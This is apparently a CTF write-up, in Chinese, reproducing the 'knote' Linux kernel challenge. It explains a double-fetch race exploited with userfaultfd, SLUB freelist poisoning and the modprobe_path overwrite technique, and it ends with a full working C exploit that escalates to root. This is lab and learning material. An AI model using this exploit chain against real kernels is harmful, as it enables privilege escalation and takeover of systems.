0%

Double Fetch+modprobe_path attack

knote 复现

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
cd /home/ctf
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./rootfs.img \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-monitor /dev/null \
-smp cores=2,threads=1 \
-cpu qemu64,+smep,+smap
  • kaslr,smep,smap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/sh
echo "{==DBG==} INIT SCRIPT"

mount -t proc none /proc
mount -t sysfs none /sys
mkdir /dev/pts
mount -t devpts devpts /dev/pts

mdev -s
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
echo -e "{==DBG==} Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
insmod note.ko
mknod /dev/knote c 10 233
chmod 666 /dev/knote
chmod 666 /dev/ptmx
chown 0:0 /flag
chmod 400 /flag

poweroff -d 120 -f &

chroot . setuidgid 1000 /bin/sh #normal user

umount /proc
umount /sys
poweroff -d 0 -f
  • kptr_restrict,dmesg_restrict
1
2
/ $ cat /proc/version 
Linux version 5.3.6 (aris@ubuntu) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ub9
  • version 5.3.6(很难 ROP 到用户态)

模块分析

1
2
3
4
5
6
7
8
9
int __cdecl note_init()
{
_fentry__();
misc_register(&note);
my_rwlock = 0;
*(&my_rwlock + 1) = 0;
printk("16knote:BOOT SUCCESS!\n");
return 0;
}
  • 在 Linux 系统中,存在一类字符设备,他们共享一个主设备号(10),但此设备号不同,我们称这类设备为混杂设备
  • misc_device 是特殊的字符设备,注册驱动程序时采用 misc_register 函数注册

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void __cdecl edit()
{
__int64 index; // rax
__int64 buft; // rdi
chunk *chunk; // rax

_fentry__();
if ( LODWORD(myarg.size) > 9 )
{
printk("13knote:index out of range\n");
}
else
{
index = LODWORD(myarg.size);
buft = buf[index].buf;
chunk = &buf[index];
if ( buft )
{
if ( copy_user_generic_unrolled(buft, myarg.buf, LODWORD(chunk->size)) )// 条件竞争
printk("13knote:copy data failed");
}
else
{
printk("13knote:no such note\n");
}
}
}
  • 没有加锁,myarg.buf 为全局变量,有条件竞争漏洞
  • 释放模块有 UAF

Double Fetch

Double Fetch 从漏洞原理上属于条件竞争漏洞,是一种内核态与用户态之间的数据访问竞争

  • 通常情况下,用户空间向内核传递数据时,内核先通过通过 copy_from_user 等拷贝函数将用户数据拷贝至内核空间进行校验及相关处理
  • 但在输入数据较为复杂时,内核可能只引用其指针,而将数据暂时保存在用户空间进行后续处理
  • 此时,该数据存在被其他恶意线程篡改风险,造成内核验证通过数据与实际使用数据不一致,导致内核代码执行异常

1666523718096

  • 一个用户态线程准备数据并通过系统调用进入内核,该数据在内核中有两次被取用:
    • 内核第一次取用数据进行安全检查(如缓冲区大小、指针可用性等)
    • 内核第二次取用数据进行实际处理
  • 而在两次取用数据之间,另一个用户态线程可创造条件竞争,对已通过检查的用户态数据进行篡改,在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升

Double Fetch 需要使用 userfaultfd 机制:

  • userfaultfd 并不是一种攻击的名字,它是 Linux 提供的一种让用户自己处理缺页异常的机制
  • 初衷是为了提升开发灵活性,后来在 kernel pwn 中常被用于提高条件竞争的成功率

现在来看一个详细的例子:

1
2
3
4
5
if (ptr) {  
...
copy_from_user(ptr,user_buf,len);
...
}
  • 如果,user_buf 是一块 mmap 映射的未初始化区域,此时就会触发缺页错误 copy_from_user 将暂停执行
  • 在暂停的这段时间内,我们开另一个线程,将 ptr 释放掉,再把其他结构申请到这里(比如:tty_struct
  • 然后当缺页处理结束后,copy_from_user 恢复执行,然而 ptr 此时指向的是 tty_struct 结构,那么就能对 tty_struct 结构进行修改了(当然也可以是其他的结构体)

模板如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void userfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
errExit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page;
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
errExit("[-] ioctl-UFFDIO_REGISTER");

int s = pthread_create(&thr, NULL, handler, (void*)uffd);
if (s!=0)
errExit("[-] pthread_create");
}

处理函数 handler 的模板如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void* handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
puts("[+] leak_handler created");
sleep(3);
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;

nready = poll(&pollfd, 1, -1);
if (nready != 1)
errExit("[-] Wrong pool return value");
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) {
errExit("[-]msg error!!");
}

char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
errExit("[-]mmap page error!!");
struct uffdio_copy uc;

memset(page, 0, sizeof(page));
// memcpy(page,&modprobe_path,8);
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak_handler done!!");
return NULL;
}

Modprobe_path Attack

modprobe_path 是用于在 Linux 内核中添加可加载的内核模块,当我们在 Linux 内核中安装或卸载新模块时,就会执行 modprobe_path 指向的程序

他的路径是一个内核全局变量,默认为 /sbin/modprobe,源码如下:

1
2
/* modprobe_path is set via /proc/sys */
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
  • 也可以通过如下命令来查看该值:
1
2
➜  ~ cat /proc/sys/kernel/modprobe
/sbin/modprobe
  • 其就是 Linux modprobe 命令(在 sbin 目录中,说明该程序拥有 Root 权限)
  • 此外,modprobe_path 在内核中且具有可写权限(普通权限即可修改该值)

而当内核运行一个错误格式的文件(或未知文件类型的文件)的时候,内核调用 call_modprobe 函数执行 modprobe_path 指向的文件:

  • 由于 call_modprobe 函数拥有 Root 权限
  • 我们只需要劫持 modprobe_path,指向我们提权的脚本,然后 system 一个非法文件,就能触发提权脚本的执行
  • 其调用链如下: (内核版本 linux-4.20.1)
1
do_execve() -> do_execveat_common() -> __do_execve_file() -> exec_binprm() -> search_binary_handler() -> request_module() -> call_modprobe() -> call_usermodehelper_exec()

使用案例如下:

1
2
3
4
5
6
7
8
system("echo '#!/bin/sh' > /tmp/shell.sh");
system("echo 'chmod 777 /flag' >> /tmp/shell.sh");
system("chmod +x /tmp/shell.sh");

system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
system("/tmp/fake");
system("cat /flag");
  • 假设我们已经把 modprobe_path 修改为了 /tmp/shell.sh(提权脚本)
  • 当程序发现 /tmp/fake 不可执行时,就会通过 call_modprobe 来调用 modprobe_path 所指向的命令
  • 然后执行 /tmp/shell.sh 完成提权

Slab Heap

Linux 内核使用的是 slab/slub 分配器,以内存池的形式分配内存(大小相同的堆靠在一起,8K的内存池专门管理8K的堆空间,16字节的内存池专门管理16字节的堆空间),使用如下命令可以查看 slab 内存池:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
➜  ~ sudo cat /proc/slabinfo     
slabinfo - version: 2.1
......
kmalloc-rcl-8k 0 0 8192 4 8 : tunables 0 0 0 : slabdata 0 0 0
kmalloc-rcl-4k 0 0 4096 8 8 : tunables 0 0 0 : slabdata 0 0 0
kmalloc-rcl-2k 0 0 2048 16 8 : tunables 0 0 0 : slabdata 0 0 0
kmalloc-rcl-1k 0 0 1024 16 4 : tunables 0 0 0 : slabdata 0 0 0
kmalloc-rcl-512 0 0 512 16 2 : tunables 0 0 0 : slabdata 0 0 0
kmalloc-rcl-256 0 0 256 16 1 : tunables 0 0 0 : slabdata 0 0 0
kmalloc-rcl-192 0 0 192 21 1 : tunables 0 0 0 : slabdata 0 0 0
kmalloc-rcl-128 1184 1184 128 32 1 : tunables 0 0 0 : slabdata 37 37 0
kmalloc-rcl-96 1848 1848 96 42 1 : tunables 0 0 0 : slabdata 44 44 0
kmalloc-rcl-64 3392 3392 64 64 1 : tunables 0 0 0 : slabdata 53 53 0
kmalloc-rcl-32 0 0 32 128 1 : tunables 0 0 0 : slabdata 0 0 0
kmalloc-rcl-16 0 0 16 256 1 : tunables 0 0 0 : slabdata 0 0 0
kmalloc-rcl-8 0 0 8 512 1 : tunables 0 0 0 : slabdata 0 0 0
kmalloc-cg-8k 16 16 8192 4 8 : tunables 0 0 0 : slabdata 4 4 0
kmalloc-cg-4k 59 96 4096 8 8 : tunables 0 0 0 : slabdata 12 12 0
kmalloc-cg-2k 160 160 2048 16 8 : tunables 0 0 0 : slabdata 10 10 0
kmalloc-cg-1k 429 528 1024 16 4 : tunables 0 0 0 : slabdata 33 33 0
kmalloc-cg-512 276 320 512 16 2 : tunables 0 0 0 : slabdata 20 20 0
kmalloc-cg-256 144 144 256 16 1 : tunables 0 0 0 : slabdata 9 9 0
kmalloc-cg-192 273 273 192 21 1 : tunables 0 0 0 : slabdata 13 13 0
kmalloc-cg-128 128 128 128 32 1 : tunables 0 0 0 : slabdata 4 4 0
kmalloc-cg-96 168 168 96 42 1 : tunables 0 0 0 : slabdata 4 4 0
kmalloc-cg-64 2368 2368 64 64 1 : tunables 0 0 0 : slabdata 37 37 0
kmalloc-cg-32 512 512 32 128 1 : tunables 0 0 0 : slabdata 4 4 0
kmalloc-cg-16 3072 3072 16 256 1 : tunables 0 0 0 : slabdata 12 12 0
kmalloc-cg-8 2560 2560 8 512 1 : tunables 0 0 0 : slabdata 5 5 0
kmalloc-8k 172 176 8192 4 8 : tunables 0 0 0 : slabdata 44 44 0
kmalloc-4k 1750 1792 4096 8 8 : tunables 0 0 0 : slabdata 224 224 0
kmalloc-2k 2100 2176 2048 16 8 : tunables 0 0 0 : slabdata 136 136 0
kmalloc-1k 2437 2496 1024 16 4 : tunables 0 0 0 : slabdata 156 156 0
kmalloc-512 44028 44848 512 16 2 : tunables 0 0 0 : slabdata 2803 2803 0
kmalloc-256 6090 6096 256 16 1 : tunables 0 0 0 : slabdata 381 381 0
kmalloc-192 9331 9828 192 21 1 : tunables 0 0 0 : slabdata 468 468 0
kmalloc-128 4949 4992 128 32 1 : tunables 0 0 0 : slabdata 156 156 0
kmalloc-96 3060 3402 96 42 1 : tunables 0 0 0 : slabdata 81 81 0
kmalloc-64 16395 16448 64 64 1 : tunables 0 0 0 : slabdata 257 257 0
kmalloc-32 32128 32128 32 128 1 : tunables 0 0 0 : slabdata 251 251 0
kmalloc-16 15104 15104 16 256 1 : tunables 0 0 0 : slabdata 59 59 0
kmalloc-8 12800 12800 8 512 1 : tunables 0 0 0 : slabdata 25 25 0
kmem_cache_node 384 384 64 64 1 : tunables 0 0 0 : slabdata 6 6 0
kmem_cache 208 208 256 16 1 : tunables 0 0 0 : slabdata 13 13 0
......

slab 为了提高效率实现了一个机制:

  • kfree 后,原用户数据区的前8字节会有指向下一个空闲块的指针 next
  • 如果用户 malloc 的大小在空闲的堆块里有满足要求的,则直接取出

有一个比较容易利用的就是,伪造空闲块的 next 指针,则可以很容易分配到我们想要读写的地方(不像 ptmalloc2 还需要伪造堆结构,这里只需要更改 next 指针即可)

入侵思路

利用 Double Fetch 可以在内核全局变量中写入一个 tty_struct

但是 5.0 版本以上的内核很难 ROP 到用户态(通过修改 tty_struct->tty_operations 为 gadget,ROP 到用户态的办法失效了)

此时需要另一个入侵技巧 modprobe_path attack,通过伪造空闲堆的 next 指针,实现任意地址处分配,把 modprobe_path 分配到可控区域,然后进行修改

最后就是 modprobe_path attack 的攻击流程了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <sys/syscall.h>
#include <sys/mman.h>

#define DEV_NAME "/dev/knote"

#define SPRAY_COUNT 1

#define ADD_NOTE 0x1337
#define EDIT_NOTE 0x8888
#define DELE_NOTE 0x6666
#define GET_NOTE 0x2333

#define modprobe_path_offset 0x145c5c0
#define PAGE_SIZE 0x1000
#define MOD_PROBE 0x145c5c0

size_t modprobe_path;
int fd;
int tty_fd;

union size_id
{
uint32_t id;
uint32_t size;
};

struct Data{
union {
size_t size;
size_t index;
};
void *buf;
};

void FDinit(){
fd = open("/dev/knote",0);
if(fd == 0){
printf("fd wrong!\n");
}
}

void errExit(char *msg) {
puts(msg);
exit(-1);
}

void add(size_t size){
struct Data data;
data.size = size;
data.buf = NULL;
ioctl(fd,ADD_NOTE,&data);
}

void get(size_t index,char *buf){
struct Data data;
data.index = index;
data.buf = buf;
ioctl(fd,GET_NOTE,&data);
}

void edit(size_t index,char* buf){
struct Data data;
data.index = index;
data.buf = buf;
ioctl(fd,EDIT_NOTE,&data);
}

void dele(size_t index){
struct Data data;
data.index = index;
data.buf = NULL;
ioctl(fd,DELE_NOTE,&data);
}

void* handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
puts("[+] leak_handler created");
sleep(3);
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;

nready = poll(&pollfd, 1, -1);
if (nready != 1)
errExit("[-] Wrong pool return value");
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) {
errExit("[-]msg error!!");
}

char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
errExit("[-]mmap page error!!");
struct uffdio_copy uc;

memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak_handler done!!");
return NULL;
}

void userfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
errExit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page;
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
errExit("[-] ioctl-UFFDIO_REGISTER");

int s = pthread_create(&thr, NULL, handler, (void*)uffd);
if (s!=0)
errExit("[-] pthread_create");
}

void leakbase(){
add(0x2e0);
char *user_buf = (char*)mmap(NULL,PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (user_buf == MAP_FAILED)
errExit("[-] mmap user_buf error!!");
userfault(user_buf, handler);
int pid = fork();
if (pid < 0) {
errExit("[-]fork error!!");
} else if (pid == 0) {
sleep(1);
dele(0); // free
tty_fd = open("/dev/ptmx",O_RDWR); // change
exit(0);
} else {
get(0,user_buf); // handler start
size_t *data = (size_t *)user_buf;
if (data[7] == 0) {
munmap(user_buf, PAGE_SIZE);
close(tty_fd);
errExit("[-]leak data error!!");
}
close(tty_fd);
size_t x_fun_addr = data[0x56];
size_t kernel_base = x_fun_addr - 0x5d4ef0;
modprobe_path = kernel_base + MOD_PROBE;
printf("kernel_base=0x%lx\n",kernel_base);
printf("modprobe_path=0x%lx\n",modprobe_path);
}
}

void* write_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
puts("[+] write_handler created");
sleep(3);
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;

nready = poll(&pollfd, 1, -1);
if (nready != 1)
errExit("[-] Wrong pool return value");
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) {
errExit("[-]msg error!!");
}

char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
errExit("[-]mmap page error!!");
struct uffdio_copy uc;

memset(page, 0, sizeof(page));
memcpy(page,&modprobe_path,8); // make modprobe_path to user_buf
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] write_handler done!!");
return NULL;
}

void writeheap(){
add(0x100);
char *user_buf = (char*)mmap(NULL,PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (user_buf == MAP_FAILED)
errExit("[-] mmap user_buf error!!");
userfault(user_buf,write_handler);
int pid = fork();
if (pid < 0) {
errExit("[-]fork error!!");
} else if (pid == 0) {
sleep(1);
dele(0); // free
exit(0);
} else {
edit(0,user_buf); // start write_handler
}
}

static int page_size;
uint64_t fault_page;
uint64_t fault_page_len;

uint64_t heap_addr;
uint64_t kernel_base;
uint64_t modprobe_path;

char tmp[0x100] = {0};
int main(){
FDinit();
leakbase();
sleep(2);
writeheap();
sleep(2);
add(0x100);
add(0x100);
strcpy(tmp,"/tmp/shell.sh");
edit(1,tmp);

system("echo '#!/bin/sh' > /tmp/shell.sh");
system("echo 'chmod 777 /flag' >> /tmp/shell.sh");
system("chmod +x /tmp/shell.sh");

system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
system("/tmp/fake");
system("cat /flag");
sleep(10);

return 0;
}
  • 这个 exp 很大程度上借鉴了 ha1vk 大佬的博客
  • 之后我发现,只要 memcpy 复制了一个内核地址到 page,那么把该 page 的内容打印出来就是 0xffffffc0(实际上是正确的数据),不知道这是不是内核的保护机制

小结:

学到了 Double Fetchmodprobe_path attack

  • Double Fetch:如果 copy_user 系列函数使用的是全局变量并且没有加锁,就可以使用这个方法
  • modprobe_path attack:对于 5.0 版本以上的内核很难使用 ROP 来绕过 smep,这种攻击算一种替代名,还可以利用 mov cr4,xxx 使得 CR4 寄存器的第21/22位为“0”,即可关闭 smap/smep

现在对这个利用还不熟,只能用用模板,感觉 userfaultfd 机制有点难理解(还不清楚为什么模板要这么写),之后抽时间了解一下